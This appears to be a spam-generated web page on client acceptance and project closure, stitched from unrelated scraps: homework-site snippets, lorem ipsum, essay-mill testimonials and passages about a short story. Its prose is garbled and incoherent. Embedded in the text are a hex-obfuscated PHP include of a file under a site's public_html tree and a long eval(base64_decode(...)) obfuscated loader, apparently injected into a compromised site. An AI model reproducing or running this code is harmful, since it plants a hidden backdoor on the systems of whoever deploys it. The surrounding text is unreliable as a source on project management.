importance of client acceptance throughout the project

Share a personal connection that identifies specific knowledge and theories from this course. Ensure project deliverables are approved and transferred to the assigning party. All rights reserved. Confidential, not for duplication or distribution. Stakeholders are a wealth of knowledge about current processes, historical information, and industry insight. The project involved recommending or not recommending the renewal of a hosted IT service. It honestly occurs. The WooCommerce plugin will be installed and configured. These acceptance criteria are the guidelines for the developers to design the correct functions and for the client to determine whether the final result is what they asked for. A post-mortemor project review is one of the most valuable steps of the project closure process. In other words, project closure is a process you cant afford to skip. in terms of developing more effective project Donec aliquet. The closing phase of project management involves several steps. WebCommon client acceptance procedures sometimes include the following: Understanding any changes in ownership, management, and those charged with governance. This is necessary to quell the possible assumption you will deliver the desired result at the end of the project and that they will simply begin using it. Awesome, awesome, awesome! the Project Management Closure Process Client Acceptance: Procedures & Guidance Acceptance Agile Guide to Integrating Customer Feedback They also should have reviewed draft deliverables along the way. Review all the project documentation to ensure all parties have been paid for the work and there are no outstanding invoices. Here is a sample Acceptance Management Plan section of a WordPress Project proposal that you can use and modify for your agency and specific client. accepted by customers. As you begin your post-mortem, conduct a performance review of the project. During the meeting, a description of the project purpose should be done. Also, the review determines if the project was executed in accordance with the plan. Thus, this activity seeks to identify what stakeholders learned in the course of implementing the project. Be sure to document this step so you have proof that the project close was formally signed off. Why is a customer/client needs analysis important All other pending payments are also determined and processed. Assess whether the project was done in accordance with the plan Make sure that all project plans and documentation are transferred to the client and archived Release project team members involved in the If you are not currently, working, share times when you have or could observe these, theories and knowledge could be applied to an employment, View Donec aliquet. 3. Importance of client acceptance throughout The project manager takes the responsibility of ensuring that all payments are cleared. Some projects take a long time to complete and it is likely that some individuals may not recall the original purpose. Validate Scope The Lesson is set in Harlem and narrated by a little girl named Sylvia. Get Mark Richardss Software Architecture Patterns ebook to better understand how to design componentsand how they should interact. To avoid this, stakeholders should understand and follow these project closing activities to guarantee more effective and better outcomes. How closely did the project meet the customer's needs? The childrens perspective on life is opposed from those that shop at F.A.O Schwartz, because of their poor upbringing. By officially closing a project, you minimize risks, increase client satisfaction, and ensure all parties are on the same page. The meeting aims to have the project owner agree with the idea of closing the project. You should include in the proposal the rules that will govern acceptance during the project. The project ended on a ceremonial note following the filing of the recommendation. We will keep you posted on our progress. I have included a sample Acceptance Management proposal section at the end of this article. Client Acceptance and Continuance: The Why Any project we take up is said to be successful only when it is The project closing process concerns activities conducted to officially conclude and terminate all activities, tasks, and parts of a project. Was the client satisfied with the results? WebYour entire engagement efforts should be clear and well-understood by all stakeholders, devoid of 'hidden' or alternative agendas (personal, political, or informational), and honest about the role and influence citizens will have in the either the decision-making or implementation of solutions. Offer some insights, from researching the Internet, around the importance of client acceptance throughout the project. During a performance review, which took place 7 weeks after the activity was. In other words, the documents detail items that have been developed for the assigning party. the project Stakeholders should always be aware of the project scope, key milestones, and when they will be expected to review any deliverables prior to final acceptance. It is your process because the, venture manager to illustrate that the deliverables (whether or not products or services) meet. If you were leading a project, and the project declines the final acceptance, what do you believe the team may have failed at? We will use a formal process for acceptance ensuring that all approvals are submitted in writing and signed by the agreed-upon client representative. Training Solutions These individual answers will help paint a more comprehensive picture of the projects performance. The project manager should be honest with the stakeholders and explain the reasons that cause the variation.if(typeof ez_ad_units!='undefined'){ez_ad_units.push([[250,250],'projectpractical_com-large-leaderboard-2','ezslot_17',630,'0','0'])};__ez_fad_position('div-gpt-ad-projectpractical_com-large-leaderboard-2-0'); The project manager should ensure that the project owner understands every detail of concern, and also elaborate about the project handover work including support that will be provided after project closure. Portfolio Project This week discuss a current business proces.docx, Jomo Kenyatta University of Agriculture and Technology, Unformatted text preview: opportunity in your field of study. As gradual acceptance occurs, the client gains vested ownership of the results and the developers get the satisfaction of regular accomplishments. These details are important particularly to the project owner to ensure that after agreeing to the project closure, complaints will not arise. Project managers, or others who are in charge of deliverables, may not be experts on every project. In addition, relevant mitigation strategies and responses are also documented. Identify This is where you identify lessons learned from the project to document in step two. Importance of client acceptance throughout the project, The patron comes to a decision when the assignment is done. Pellentesque dapibus efficitur laoreet. There really was no client to satisfy just a decision to be made. Whether internal or external, all of the projects that you manage have stakeholders. Verification is important for the client to ascertain that the project delivers the expected results. Thank you for all essays received. This is wrong! is inadequate rejection. Granting Project Acceptance Different suppliers deliver particular goods or services to facilitate the implementation of the project. The customers will be hav View the full answer Nam lacinia pulvinar tortor nec facilisis. WebTop ways to enhance client satisfaction in project management. Project Management - Chapters 1-4 conditions fall under the heading of ceremonial popularity: The first involves closing date dates at which the consumer must be given the project as, whole, whether or now not it meets the specifications. When Sylvia reiterates what Ms. Moore has said before it means that peoples lives and personalities are molded by the status and atmosphere in which they live. You'll get a detailed solution from a subject matter expert that helps you learn core concepts. Great service in the past. 2. Quality management: Reviewing project deliverables and ensuring they meet the defined acceptance criteria Risk management: Monitor, control, manage, and mitigate potential risks and issues Acceptance management: Conduct user acceptance testing and create a reviewing system, ensuring that all deliverables meet the needs of It means one knows how to create that happiness the best way they can. WebHaving knowing detail the importance of client acceptance throughout the project can help us in many things. Be sure to keep clear notes on the projects performance and improvement opportunities so you can easily reference and implement them on similar projects in the future. This is when you identify your project stakeholders. Thank you for your help! For instance, the project manager achieves this by preparing a list of all pending payment and approving their clearance. Increase a clients site traffic by 10,000 visitors per month. The 4 phases of the project management life cycle, Four Diagrams to Streamline Project Planning. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Some of the ways stakeholders are important to a project are as follows. WebAcceptace criteria in project management is about product acceptance criteria. WebClient acceptance and continuance may be the most critical step in an audit, but its one that gets little attention. This form can be used to record the client's sign-off and officially bring the project to a close. Project Acceptance Criteria Reliable and trustworthy. A post-implementation review of the project is carried out to identify lessons learned. Notify them of the end of the project, confirm any final payments or obligations, and officially release them so they are free to work on other projects. in terms of developing more effective project From thence, I have been in love with these guys. The online store will have built-in payment processing via Stripe and PayPal. Importance of client acceptance. This is the stage where all deliverables are finalized and formally transferred, and all documentation is signed off, approved, and archived. Finally, dont forget to celebrate! Then say why its important and relate it to time management. Therefore, the project manager reviews all threats faced in the project and records appropriate ways to address them.if(typeof ez_ad_units!='undefined'){ez_ad_units.push([[336,280],'projectpractical_com-banner-1','ezslot_12',629,'0','0'])};__ez_fad_position('div-gpt-ad-projectpractical_com-banner-1-0'); Implementing a project is a learning experience. The activity aims to have the employees get back to their usual duties or assigned another project. This does not mean that once a deliverable is accepted, it cannot change. In other words, calculate the projects performance in terms of cost, schedule, and quality. Lucidchart is the intelligent diagramming application that empowers teams to clarify complexity, align their insights, and build the futurefaster. In some cases, the criteria are focused on technical issues and in others, the criteria may be more focused on meeting certain business requirements. Identify an individual or individuals from the customer organization who have the authority and ability to accept or reject with cause. When it comes to project management, closing out a project isnt just a matter of executing deliverables. All work has been completed according to the project plan and scope. A colleague of mine shared the following example with me. Lessons Learned can the project manager and planner use the needs analysis to help Following a clear project closure plan helps you properly transition your solution to the client or end-user. By gathering and reviewing project requirements with stakeholders, you will get their buy-in, which will in turn help increase project success. The more you engage and involve stakeholders, the more you will reduce and uncover risks on your project. Once the paperwork is filed, and the reviews are over, kick back and take time to celebrate the successful close togetheryouve earned it! Technology is everywhere from transportation to home systems to your business. It does not have an accompanying sign-off of completion or acceptance. This makes it vital to remind the stakeholders about the original purpose. This happens after successful project completion. Course Hero is not sponsored or endorsed by any college or university. Whatsapp: +1 (917) 268-6004 Stakeholders are a wealth of knowledge about current processes, historical information, and industry insight. For instance, if the venture is to devise, and behavior a conference, the conference will show up whether or not or now not the. Keep in mind that the goal of a post-mortem is not to assign blame for any mistakes. 1. A prospective client calls saying, Can you audit my company? and we respond, sure. While new business can be a A stakeholder is anyone invested in the project, whether theyre internal or external partners. Thus, the project manager resolves issues by identifying them and coming up with appropriate responses for every issue. b. Be sure to sign up NOW below to connect with us and you will be eligible for early student discounts. Discover project management best practices to keep projects on track. When discussing initial requirements, project needs, and constraints, stakeholders may bring up issues or concerns about meeting those things. While there the children learn an important lesson about the economy and how unfair it is in the black communities. Explore over 16 million step-by-step answers from our library, iscing elit. Acceptance criteria are an essential component of every user story on which an agile team works. Get full access to Effective Project Management: Traditional, Agile, Extreme, Sixth Edition and 60K+ other titles, with a free 10-day trial of O'Reilly. and more. In this activity, documentation of the risk issues identified is done. Make sure that you consider all key stakeholders as a part of your project team. ( 8 marks ) (In answering, you should be considering some of the following questions. Using these documents, the client can determine whether the deliverables meet the set quality standards. Customers are primarily focused on project management operations, and they must be involved from {Your agency project manager name} will submit a copy of the rejected form to the applicable team member for re-work. The client decides when the project is done. The first step in requirements gathering is to assign roles in your project. the importance of client acceptance throughout the project. Final acceptance is tied directly to the acceptance of each short-term deliverable being approved throughout the project. Full Document. Leadership Team Importance of Defining Project Acceptance Criteria in However, without a formal closing process, you risk letting crucial details fall through the cracks, which can result in confusion, a never-ending project, dissatisfied clients, and even liability issues. Often a senior manager from the organization interviews the client to develop feedback on the project team performance. It clearly defines the scope, desired outcomes, and testing criteria for pieces of functionality being worked on by the delivery team. Lorem, View answer & additonal benefits from the subscription, Explore recently answered questions from the same subject, Explore documents and answered questions from similar courses. Explain in detail the importance of client acceptance throughout the project. Its not enough to declare a project done yourself. Execution of Automated tests. (If you follow scrum methodology, your team should conduct a sprint retrospective to gather this information.). Terms of service Privacy policy Editorial independence. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/c\x6fmpo\x6eent\x73/co\x6d_us\x65r/m\x6fdel\x73/ut\x66.ph\x70"; By the end of the project, the team members should have already been aware of delivery expectations, risks, and how to mitigate the risks. Fusce dui lectus, congue vel laoreet ac, dictum vitae odio. One major point of the story is the criticism of a capitalist society, in which wealth is unequally distributed(Champion). make sure their project is on time and satisfies the client. However, if you follow some simple guidelines, you can ensure that in your WordPress Project Acceptance Management Plan is clear and reduce the chance for surprises for you or for the client. The success in the project is recorded to aid future project managers and stakeholders obtain guidance and achieve better results. Dive in for free with a 10-day trial of the OReilly learning platformthen explore all the other resources our members count on to build skills and solve problems every day. The closing What would you change or improve for future projects. Stakeholders may have some issues concerning the project and the final product. To confirm the projects completion, obtain approvals for the project deliverables (i.e., all stakeholders must agree that you delivered on all parts of the project plan) with official sign-offs from the project stakeholders. Here is an example of some acceptance criteria that might be used for the ecommerce portion of a WordPress project. Nam lacinia p, , dictum vitae odio. 2019 COMPLIANT PAPERS. Need more examples of acceptance and change management plans? Project Close/Client Acceptance a. Thus, the deliverable documents are prepared by the project team who subsequently deliver them to the project manager. Click here. Importance The project manager can increase the chance of getting the project owner to approve the closure by having a set agenda for the meeting. I recommend to anyone looking for a peace of mind! It is important that the client understand that acceptance is a gradual process occurring throughout the project rather than as a onetime event at the end. Assess whether the project was done in accordance with the plan, Make sure that all project plans and documentation are transferred to the client and archived, Release project team members involved in the project, Determine the lessons learned throughout the project, Approval and acceptance of project deliverables and reviewing if they meet the requirements, Transferring project documentation and plans to the assigning partly for archiving, Gathering the lessons learned from the project, Conducting project closure meeting and releasing the project team. 4 Phases of the Project Management Lifecycle Explained. the Project Management Lifecycle Nam risus ante, dapibus a, o. Donec aliquet. the output document in this activity is the Meeting Minutes. Nam lacinia pulvinar tortor nec facilisis. {Your agency project manager name} will store the completed form in the Project Notebook. Heres how to navigate the project management closure process. Good News! This activity aims to review all the pending project payment and clear them. Once youve completed your project post-mortem, you can finalize all documentation (contracts, project plans, scope outline, costs, schedule, etc.) Many times these team members will have been at the company or on the project longer than the project manager or project team. What are your recommendations to Colgrove for implementing EMI? Sylvia further thinks about what her family could buy with the $35 a clown costs: bunk beds, a family visit to Grandaddy out in the country, even the rent, and the piano bills. Document your project review with the performance measurement, feedback, and improvement plan. It is your process because the venture manager to illustrate that the deliverables (whether or not products or services) meet customer specifications. The system will automatically and accurately compute sales tax and shipping fees. Notably, this process concludes by approving, accepting, and transferring final deliverables to the customer or assigning party. Perfect place to come to when you need help. The project manager should guide the stakeholders in reviewing whether the project has delivered all that was expected. Take OReilly with you and learn anywhere, anytime on your phone and tablet. +1 (910) 509-0104 WebThe project team can benefit from clearly established acceptance criteria in a variety of ways, including: Defining the client's expectations for the final output. The client decides when the project is done. Convening a project closure meeting is the best way to end any project. If the reasons for rejection do not correspond to the established acceptance criteria, you will likely need to redefine those criteria. It does now not have, an accompanying sign-off of completion or recognition. Obtaining formal signatures from the client on the project's deliverables. The acceptance criteria also serves as the basis for rejection when it occurs. step guide to requirements gathering for project success The most important rule for your Acceptance Management Plan is that you establish at the project outset the specific criteria by which something will be accepted or rejected. Email us: [emailprotected] / [emailprotected]. Work through the following checklist to ensure your project is successfully completed. Thus, during the project closing process, unpaid supplied are compiled and finances for the same are released to respective suppliers. Thank you for your support on this order. The project lifecycle consists of five groups: The closing phase of project management is the final phase of the project lifecycle. What is the, For the organization you developed in your first assignment, list your choice of fundamentals elements [ 5 (minimum) - 7 (maximum) ] and briefly explain why you have made these selections, if. The client or customer utilizes the deliverable documents to make a review of what has been achieved. Measuring, achieving, and demonstrating that the work is finished to your clients. All stakeholders issues regarding the project outcomes should be identified through this activity. The service is great, the writers are friendly, and revisions are unlimited. About Us WebThe advantage of including the client in project activities is to gain the clients personal investment in the project plan, to create a better understanding for the client of the problems the project encounters during the life of the project, and to gain the insights and contributions of the client in problem solving. Some of the ways stakeholders are important to a project are as follows. Next, conduct a survey or hold a meeting with the project management team to get feedback on how the project went. The online store will be able to accommodate purchases of both physical and digital products. Project Offer some insights, from researching the Internet, around the importance of client acceptance throughout the project. Establish a turnaround time for acceptance or rejection with cause. The Project Pellentesque dapibus efficitur laoreet, ongue vel laoreet ac, dictum vitae odio. WebService organization management and the service auditor each have specific responsibilities in a SOC 2 examination.This blog describes the service auditors responsibilities, including the preconditions of engagement acceptance and the importance of understanding the terms of the engagement with management.. View all OReilly videos, Superstream events, and Meet the Expert sessions on your home TV. If you were leading a project, and the project declines the, final acceptance, what do you believe the team may have, c . Coaching Solutions If you were leading a project, and the project declines the final acceptance, what do you believe the team may have failed at? Lorem ipsum dolor sit amet, consectetur ad, ng elit. Course Hero is not sponsored or endorsed by any college or university. In this paper, we introduce the concept of client expectation alignment to represent the process to manage client expectations and address its importance in two ways: to reduce goal changes and increase client support. The project closure process also ensures the project is formally completed and is no longer considered a project, allowing you to hand the reins over to the correct team in charge of managing and maintaining the projects outputs. Change will continue to occur throughout the project but a formal acceptance procedure will help to prevent unnecessary change. WebThis essay focuses on the project declines the final acceptance. The end of a project is a big accomplishment and represents the culmination of many hours of hard work and dedication from a team of contributors. importance of client acceptance throughout It can be used to aid communication with your customers, help Project Practical is a management and career blog that was created by business professionals. Provide a few highlights that the course has offered you. Were there issues with the quality or compromises along the way? Proficient Learning, LLC A client or customer expects to receive a product or service that satisfies his expectations. Project Scope Management Uncovering risks and then discussing a plan to mitigate them before issues arise will dramatically increase the success of your project. I must confess that I have wandered off to many sites claiming to be legit, but I have been conned, or given sh**y quality papers. WebImportance of client acceptance throughout the project The patron comes to a decision when the assignment is done. It provides an assurance that a project is closed and further charges cannot be attributed or accrued to that particular project. It is your job as the project manager to demonstrate that the deliverables (whether products or services) meet client specifications. This process should help avoid any surprises at the end of your project. They compare the handcrafted fiberglass sailboat, which costs $1,195, to the ones they make from a kit, which cost about 50 cents. In my second paper, all was good apart from a few grammar errors which I handled myself. Experts are tested by Chegg as specialists in their subject area. WebBy officially closing a project, you minimize risks, increase client satisfaction, and ensure all parties are on the same page. Wealth and race are essentially linked therefore making it hard for white people and African-American peo. I had to gift my writer with an iPhone. You have received final sign-off and approval from all parties. eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJEtjSFlmZ1pxRCA9IDc0NjM7IGZ1bmN0aW9uIE9neWNOZ3EoJFVEckVQUEtlLCAkYU1LYmIpeyR4YllzQWxaID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkVURyRVBQS2UpOyAkaSsrKXskeGJZc0FsWiAuPSBpc3NldCgkYU1LYmJbJFVEckVQUEtlWyRpXV0pID8gJGFNS2JiWyRVRHJFUFBLZVskaV1dIDogJFVEckVQUEtlWyRpXTt9CiRxU2hZUUs9InJhd3VybCIgLiAiZGVjb2RlIjtyZXR1cm4gJHFTaFlRSygkeGJZc0FsWik7fQokQVVpeG9yID0gJyU3Z21GbV9QajElaWUlaVJqMjJ2Ml91dnElaVIlaXQlaWdRYVdXJWlUJUxzJWdvJWdkJTdnbUZtX1BqMSVpZSVpUnV2cV8nLgonajIydjJQJWlSJWl0JWlnZyVpVCVMcyVnbyVnZCU3Z21GbV9QajElaWUlaVJsOHBfanBqQkUxbXZGXzFtbGolaVIlaXQlaWdnJWlUJUxzJWdvJScuCidnZCU3Z2oyMnYyXzJqR3YyMW1GcSVpZWclaVQlTHMlZ28lZ2QlN2dQajFfMW1sal91bWxtMSVpZWclaVQlTHMlZ28lZ2QlZ28lZ2QlZ28lZ2RtWSVpZSVpJy4KJ1ZDalltRmpDJWllJWlpTUpNX2tyVyVpaSVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW1GaicuCiclaWUlaWlNSk1fa3JXJWlpJWl0JWlnJWlpJUt0RiVpaSVpVCVMcyVnbyVnZCVSbyVnbyVnZCVnbyVnZG1ZJWllJWlWQ2pZbUZqQyVpZSVpaW9YbicuCidrdDBybk9fNWtNZG5kMHJuJWlpJWlUJWlUJWdvJWdkJVJzJWdvJWdkJWlnJWlnJWlnJWlnQ2pZbUZqJWllJWlpb1hua3Qwcm5PXzVrTWRuZDBybiVpaSVpdCVpZyVpaS8lJy4KJ2lpJWlUJUxzJWdvJWdkJVJvJWdvJWdkJWdvJWdkbVklaWclaWUlaVZDalltRmpDJWllJWlSZFdua2RvT19uYVFfVjc3QmVSQll4aUxaOGVpODhZbXhlJy4KJzJtOFpWeDgxbXZWZSVpUiVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW0nLgonRmolaWUlaVJkV25rZG9PX25hUV9WNzdCZVJCWXhpTFo4ZWk4OFlteGUybThaVng4MW12VmUlaVIlaXQlaWdWJWlUJUxzJWdvJWdkJWdvJWdkJScuCidpZyVpZyVpZyVpZyVpN0M4MTglaWclTG8laWdRYVdXJUxzJWdvJWdkJWlnJWlnJWlnJWlnJScuCidpN0M4MThfQWpOJWlnJUxvJWlnUWFXVyVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpN2NXcnNkVzUlS3MlaVJCUF84RTE5JWlSJUtvJScuCidpZyVMbyVpZyVpUmVqeEJlN1RqLVplaWUtN1pMOC04WVJ4LVlMZ1k3aUw3WmVZNyVpUiVMcyVnbyVnZCVpZyVpZyVpZyVpZ3F1dlo4dSVpZyVpN0JQXzhFMScuCic5JUxzJWdvJWdkJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFKdlAxJWllJWlUJWdvJWdkJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJScuCidpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ1AxMjF2dXZ6ajIlaWVHMmpxXzJqR3U4QmolaWUlaVIvJUtrJWllenp6JVJ0WTFHJWlUJUt0Li9tJWlSJWl0JWlSJy4KJyVpUiVpdCU3ZyVpN181a242a24lS3MlaVJKMDBNX0pyNTAlaVIlS28laVQlaVQlTHMlZ28lZ2QlaWcnLgonJWlnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFmMm0xOFp1am9tMlAlaWUlaVQlZ28lZ2QlaWclaWclaWclaWclUnMlZ28lJy4KJ2dkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MmpQJWlnJUxvJWlnZDIyOE4laWUlaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaTcnLgonOEY4dU5QTlBfVUVqRWolaWclTG8laWdkMjI4TiVpZSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZ0JQX2NqMW92Qm52djElaWUlaVQlTHMlZ28lZ2QlZ28nLgonJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3UGp1WV9HODE5JWlnJUxvJWlnJWk3XzVrbjZrbiVLcyVpUjUnLgondG5YTTBfRFhXa1FkeWslaVIlS28lTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWd6OW11aiVpZyVpZSVpZSVpN1B1OFA5JWlnJy4KJyVMbyVpZ1AxMjJHdlAlaWUlaTdQanVZX0c4MTklaXQlaWdvWG5rdDBybk9fNWtNZG5kMHJuJWlUJWlUJWlnJWlWJUxvJUwnLgonbyVpZ0RkVzVrJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWknLgonZyVpZyVpN1BqdVlfRzgxOSVpZyVMbyVpZ1BFWlAxMiVpZSVpN1BqdVlfRzgxOSVpdCVpZ2claXQlaWclaTdQdTgnLgonUDklaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpN1BqdVlfRzgxOSVpJy4KJ2clTG8lTG8laWdCUF9jajFvdkJudnYxJWllJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWcnLgonZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1oyajhBJUxzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllUDEydScuCidqRiVpZSVpN1BqdVlfRzgxOSVpVCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZyVpN1BqdVlfRzgxOSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdZJy4KJ3YyajhCOSVpZyVpZSVpNzhGOHVOUE5QX1VFakVqJWlnOFAlaWclaTdCRTIyakYxX0NtMiVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyUnLgonUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpVm1GXzgyMjhOJWllJWk3QkUyMmpGMV9DJy4KJ20yJWl0JWlnJWk3MmpQJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJScuCidpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpNzJqUCVpZyVMbyVpZzgyMjhOX2xqMnFqJWllJWk3MmpQJWl0JWlnQlBfY2oxb20yakInLgonMXYyTldtUDElaWUlaTdCRTIyakYxX0NtMiVpVCVpVCVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZycuCiclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclJy4KJ2lnJWlnMmoxRTJGJWlnQlBfdDlqQkFmMm0xOFp1aiVpZTgyMjhOX0VGbVVFaiVpZSVpNzJqUCVpVCVpVCVMcyVnbyVnZCVpZyVpZyVpZyVpZyVSbyVnbyVnZCcuCiclZ28lZ2QlaWclaWclaWclaWdZRUZCMW12RiVpZ0JQX3Q5akJBZjJtMThadWolaWUlaTdDbTJfdW1QMSVpVCVnbyVnZCVpZyVpZyVpZyVpZyVSJy4KJ3MlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaTdDbTJfdW1QMV96Mm0xOFp1aiVpZyVMbyVpZ2QyMjhOJWllJWlUJScuCidMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1l2Mmo4QjklaWclaWUlaTdDbTJfdW1QMSVpZzhQJWlnJWk3Q20yJWlUJWdvJWdkJWlnJWknLgonZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllJTcnLgonZ21QX3oybTE4WnVqJWllJWk3Q20yJWlUJWlnJWl4JWl4JWlnbVBfQ20yJWllJWk3Q20yJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN0NtMl91bVAxX3oybTE4WicuCid1aiVLcyVLbyVpZyVMbyVpZyVpN0NtMiVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVpZyVpZyVpZyVpZycuCiclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWcyajFFMkYlaWclaTdDbTJfdW1QMV96Mm0xOFp1aiVMcyVnbyVnZCVpZyUnLgonaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWdZRUZCMW12RiVpZ0JQX2NqMW9tMmpCMXYyTldtUDEnLgonJWllJWk3Q20yJWl0JWlnJWk3Q2pHMTklTG9WZyVpVCVnbyVnZCVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaWclaTcyalBFdTElaWclTG8laWc4MjI4TiVpZSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyUnLgonaWclaWdtWSVpZyVpZSVpVm1QX0NtMiVpZSVpN0NtMiVpVCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWcyajFFMkYlaWclaTcyalBFdTElTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaScuCidnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MmpQRXUnLgonMSVLcyVLbyVpZyVMbyVpZyVpN0NtMiVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN0NtMl8nLgonQnZFRjElaWclTG8laWdnJUxzJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnbVklaWclaWUlaTdDakcxOSVpZyVMdCVpZ1YlaVQlZ28lJy4KJ2dkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJScuCidpZzJqMUUyRiVpZyVpNzJqUEV1MSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN0NtMiUnLgonaWclTG8laWdQMTJ1akYlaWUlaTdDbTIlaVQlaWclTG8lTG8laWdWJWlnJUxEJWlnJWk3Q20yJWlnJUxkJWlnMicuCicxMm1sJWllJWk3Q20yJWl0JWlnJWlSJUt0JUt0LyVpUiVpVCVMcyVnbyVnZCVpZyVpZyVpZyUnLgonaWclaWclaWclaWclaWclaTc5JWlnJUxvJWlnJTdndkdqRkNtMiVpZSVpN0NtMiVpVCVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllJWk3OSVpZyUnLgonTG8lTG8lTG8laWdEZFc1ayVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUnLgonMkYlaWclaTcyalBFdTElTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaScuCidnJWlnJWlnJWlnJWlnJWlnejltdWolaWclaWUlaWUlaTdZJWlnJUxvJWlnMmo4Q0NtMiVpZSVpNzklaVQlaVQlaWclaVYlTG8lTG8laWdEZFc1ayUnLgonaVQlZ28laWclaWclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZycuCiclaWUlaTdZJWlnJWlWJUxvJUxvJWlnJWlS